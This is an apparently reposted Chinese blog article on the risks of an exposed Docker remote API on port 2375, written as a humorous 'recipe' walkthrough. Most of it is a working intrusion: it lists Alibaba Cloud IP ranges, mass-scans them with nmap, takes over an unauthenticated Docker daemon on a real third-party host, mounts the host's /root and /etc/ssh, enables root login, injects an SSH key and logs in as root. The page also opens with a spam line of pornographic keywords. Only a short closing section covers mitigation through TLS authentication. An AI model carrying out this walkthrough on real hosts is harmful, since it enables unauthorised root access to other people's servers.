欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Docker暴露2375端口導(dǎo)致服務(wù)器被攻擊問題及解決方法

 更新時(shí)間:2020年04月28日 09:57:51   作者:Java從入坑到入土-  
這篇文章主要介紹了Docker暴露2375端口導(dǎo)致服務(wù)器被攻擊問題及解決方法,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下

相信了解過docker remote API的同學(xué)對(duì)2375端口都不陌生了,2375是docker遠(yuǎn)程操控的默認(rèn)端口,通過這個(gè)端口可以直接對(duì)遠(yuǎn)程的docker daemon進(jìn)行操作。

當(dāng)$HOST主機(jī)以docker daemon -H=0.0.0.0:2375方式啟動(dòng)daemon時(shí),可以在外部機(jī)器對(duì)$HOST的docker daemon進(jìn)行直接操作:

docker -H tcp://$HOST:2375 ps

好,說說如何“入侵”,怎么通過這個(gè)端口入侵宿主機(jī)呢?

這個(gè)應(yīng)該要從幾個(gè)點(diǎn)說起吧:
1. docker對(duì)user namespace沒有做隔離,也就是說,容器內(nèi)部的root用戶就是宿主機(jī)的root用戶,一旦掛載目錄,就可以在容器內(nèi)部以宿主機(jī)的root用戶身份對(duì)掛載的文件系統(tǒng)隨意修改了。

  • docker服務(wù)擁有很高的執(zhí)行權(quán)利(相當(dāng)于root),并且在docker用戶組下的普通用戶不需要任何其他驗(yàn)證就可以執(zhí)行docker run等命令。
  • 暴露的docker remote API端口如果沒有啟動(dòng)ssl驗(yàn)證的話,任何能連通到這臺(tái)docker宿主機(jī)的的機(jī)器都可以隨意操作這臺(tái)docker宿主機(jī)的docker daemon(docker run、docker ps、docker rm等等這些命令都不在話下)。

結(jié)合以上3點(diǎn),就基本具備入侵docker宿主機(jī)的條件了

講得似乎有點(diǎn)懸,不多說,直接拿一個(gè)活鮮鮮的例子來講吧:

(請(qǐng)?jiān)试S我用最近新學(xué)的一道菜將流程帶過 ╮( ̄▽ ̄)╭ )

秘制紅燒肉(docker版)

材料:一整塊一整塊的“5花”IP段,越肥越好(小白用戶越多越好)

配料:nmap,docker

step 1: 掃描2375端口

怎么掃?我選用的是簡單易用的黑客必備神器nmap了。

掃哪里呢?我選的目標(biāo)是aliyun的IP段,百度得知:

42.96.128.0/17 Alibaba (Beijing) Technology Co., Ltd. China 
42.120.0.0/16 Aliyun Computing Co., LTD China 
42.121.0.0/16 Aliyun Computing Co., LTD China 
42.156.128.0/17 Aliyun Computing Co., LTD China 
110.75.0.0/16 Asia Pacific Network Information Centre China 
110.76.0.0/19 Ali Technology Co., Ltd China 
110.76.32.0/20 Aliyun Computing Co., LTD China 
110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China 
110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China 
112.124.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
112.127.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
114.215.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China 
115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China 
115.124.16.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 
115.124.20.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 
115.124.24.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 
119.38.208.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 
119.38.216.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 
119.42.224.0/20 Alibaba (China) Technology Co., Ltd. China 
119.42.242.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 
119.42.244.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 
121.0.16.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 
121.0.24.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 
121.0.28.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 
121.196.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
121.197.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
121.198.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
121.199.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
140.205.0.0/16 Aliyun Computing Co., LTD China 
203.209.250.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 
218.244.128.0/19 Hangzhou Alibaba Advertising Co.,Ltd. China 
223.4.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
223.5.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
223.5.5.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 
223.6.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 
223.6.6.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 
223.7.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd.

我不生產(chǎn)IP,我只是百度的搬運(yùn)工,別問我這些IP從那來,我也想知道~ >.<

將上面IP內(nèi)容保存在一個(gè)文件中,如 aliyun.list

開始掃描:

cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open 
# 簡單解釋一下命令:
# awk 將第一列IP網(wǎng)段過濾出來
# xargs 將過濾出來的IP一個(gè)一個(gè)的分次送給nmap,-I {} 是指使用{}來代替?zhèn)魉偷膮?shù)
# ...
# Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST
# Nmap scan report for 42.96.MOSAIC.MOSAIC
# Host is up (0.070s latency).
# PORT STATE SERVICE
# 2375/tcp open docker
# ...

不到兩分鐘,第一塊42.96.MOSAIC.MOSAIC(五花肉已打碼) “五花肉”選好了,來吧~

step 2: 測試2375的直接控制權(quán)

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps
 
# CONTAINER ID IMAGE    COMMAND   CREATED  STATUS  PORTS  
# 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh"  9 days ago  Up 3 days  0.0.0.0:9009->80
# f57c56af0e29 rethinkdb:2.3.2   "rethinkdb --bind all" 9 days ago  Up 3 days  8080/tcp, 28015/
# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 days ago  Up 3 days  0.0.0.0:500->500
# af7338a5426d nginx:1.9-alpine   "nginx -g 'daemon off" 3 weeks ago  Up 3 days  443/tcp, 0.0.0.0
# ...

這個(gè)服務(wù)器的owner也太配合了(⊙ο⊙),ps直接看到內(nèi)容,說明這個(gè)主機(jī)的2375是沒有ssl驗(yàn)證的,基本滿足入侵要求。

“五花”洗好,切好,準(zhǔn)備下鍋~

step 3: 遠(yuǎn)程啟動(dòng)自己的容器

拿到了docker的控制權(quán)能做什么呢?拿到了就呵呵了~

# images 看看本地已有的鏡像
# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images
# ...
# swarm    latest  47dc182ea74b 4 weeks ago  19.32 MB
# jwilder/nginx-proxy  latest  203b20631e41 4 weeks ago  255.6 MB
# ubuntu    latest  c5f1cf30c96b 4 weeks ago  120.8 MB
# shipyard/shipyard   latest  ba426f0944bc 5 weeks ago  58.92 MB
# ...

省略了一部分輸出,鏡像還蠻多的,就選個(gè)ubuntu吧

# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

看到這步,相信對(duì)ssh有一些了解的同學(xué)應(yīng)該就明白了

step 4: ssh pub key 注入

在剛剛啟動(dòng)的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主機(jī)的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes,允許root通過ssh登錄

然后在你的機(jī)器上生成一對(duì)新的pub key(已經(jīng)有ssh key的也建議生成一個(gè)新的,不要使用自己日常使用的ssh pub key)

# 使用 ssh-keygen生成
ssh-keygen -t rsa -C "hello@world.com"
# 執(zhí)行命令后的提示Enter file in which to save the key要看好,不要把自己的ssh key覆蓋了,可以選著/tmp/id_rsa
# 其他提示enter到底即可

繼續(xù),注入ssh pub key,回到剛剛啟動(dòng)的容器執(zhí)行

cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # 這里粘貼你剛剛在自己機(jī)器生成的/tmp/id_rsa.pub
>EOF
 
# 如果/tmp/root/.ssh目錄不存在,就直接創(chuàng)建

八角香葉生抽老抽醋都加上,中火烹飪,準(zhǔn)備出鍋~

step 5: 登入服務(wù)器

# ssh -i 指定秘鑰登錄
ssh -i /tmp/id_rsa root@42.96.MOSAIC.MOSAIC
 
# Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
#
# * Documentation: https://help.ubuntu.com/
#
# Welcome to aliyun Elastic Compute Service!
#
# Last login: Fri Jun 3 01:38:07 2016 from 120.85.MOSAIC.MOSAIC
# manpath: can't set the locale; make sure $LC_* and $LANG are correct
# root@iZ28p9b7e***:~# 
# ...

大火收汁,起鍋!

鄭重聲明

以上教程僅為交流學(xué)習(xí)之用,42.96.MOSAIC.MOSAIC 服務(wù)器上的id_rsa.pub在制作完本教程后已主動(dòng)清除,并在服務(wù)上留言告知。

如果你一不小心也發(fā)現(xiàn)了可用的2375端口,希望也能點(diǎn)到即止,誤做他用,或者發(fā)現(xiàn)其他入侵漏洞,可以和大家交流學(xué)習(xí)。

2375是docker漏洞嗎?

非也!2375直接暴露在公網(wǎng)上純屬是用戶習(xí)慣或者偷懶的問題,2375可以在相對(duì)安全的內(nèi)部網(wǎng)絡(luò)中方便測試使用,并不適合使用在投入到生產(chǎn)環(huán)境中。

docker官網(wǎng)第一篇文檔quick start上有句話是這樣子的:

Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with
access to that port has full Docker access; so it is not advisable
 on an open network.

已經(jīng)Warning告知:如果將daemon直接暴露在一個(gè)TCP端口,將可能會(huì)被以非root用戶去獲取宿主機(jī)的root權(quán)限。其實(shí)上面的說提到的服務(wù)器之所以這么容器被入侵,也正是這個(gè)原因。

何以防之

那么,問題來了,如果想用Remote API,又不想有被入侵的風(fēng)險(xiǎn),怎么辦呢?

docker官方文檔上介紹了一種通過CA認(rèn)證方式使用Remote API

具體可以參考:Protect the Docker daemon socket

(等理解了再補(bǔ)一篇博客吧,就姑且讓我以一個(gè)鏈接的形式帶過吧O.O)

配置過程還算是比較簡單的,下面放一張圖,展示配置SSL后的效果:

到此這篇關(guān)于Docker暴露2375端口導(dǎo)致服務(wù)器被攻擊問題及解決方法的文章就介紹到這了,更多相關(guān)docker 暴露2375 端口內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • docker安裝Adminer并支持mysql和mongodb的詳細(xì)步驟

    docker安裝Adminer并支持mysql和mongodb的詳細(xì)步驟

    這篇文章主要介紹了docker安裝Adminer并支持mysql和mongodb,通過查找并拉取Adminer鏡像,啟動(dòng)docker,支持mysq,本文分步驟給大家詳細(xì)講解,需要的朋友可以參考下
    2022-10-10
  • docker備份linux系統(tǒng)的命令詳解

    docker備份linux系統(tǒng)的命令詳解

    這篇文章主要介紹了docker備份linux系統(tǒng)的命令寫法,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2018-11-11
  • docker 突然不能被外網(wǎng)訪問的解決方案

    docker 突然不能被外網(wǎng)訪問的解決方案

    這篇文章主要介紹了docker 突然不能被外網(wǎng)訪問的解決方案,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2021-03-03
  • 在Docker中利用Tomcat快速部署web應(yīng)用的方法示例

    在Docker中利用Tomcat快速部署web應(yīng)用的方法示例

    這篇文章我們就來說一下怎么在docker中快速部署一個(gè)web應(yīng)用。文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-01-01
  • docker中如何啟動(dòng)已存在容器

    docker中如何啟動(dòng)已存在容器

    這篇文章主要介紹了docker中如何啟動(dòng)已存在容器問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-05-05
  • Docker?隔離與限制原理介紹

    Docker?隔離與限制原理介紹

    這篇文章主要介紹了Docker?隔離與限制原理,對(duì)于?Docker?等大多數(shù)?Linux?容器來說,Cgroups?技術(shù)是用來制造約束的主要手段,而?Namespace?技術(shù)則是用來修改進(jìn)程視圖的主要方法,下文相關(guān)介紹,需要的朋友可以參考一下
    2022-04-04
  • Docker nacos集群部署的實(shí)現(xiàn)

    Docker nacos集群部署的實(shí)現(xiàn)

    本文將深入探討如何使用Docker來部署Nacos集群,從而實(shí)現(xiàn)服務(wù)的快速擴(kuò)展、高可用性和可維護(hù)性,具有一定的參考價(jià)值,感興趣的可以了解一下
    2024-01-01
  • docker搭建Hadoop?CDH高可用集群實(shí)現(xiàn)

    docker搭建Hadoop?CDH高可用集群實(shí)現(xiàn)

    本文主要介紹了docker搭建Hadoop?CDH高可用集群實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-07-07
  • 基于Docker的幾種常用CentOS7鏡像小結(jié)

    基于Docker的幾種常用CentOS7鏡像小結(jié)

    本文主要介紹了使用 Docker 來制作CentOS 環(huán)境的鏡像,并上傳到阿里云的 Docker 鏡像倉庫,具有一定的參考價(jià)值,感興趣的可以了解一下
    2021-11-11
  • 使用docker部署spring boot并接入skywalking的方法

    使用docker部署spring boot并接入skywalking的方法

    這篇文章給大家介紹如何使用手動(dòng)和docker的方式使用 skywalking的相關(guān)知識(shí),感興趣的朋友跟隨小編一起看看吧
    2021-04-04

最新評(píng)論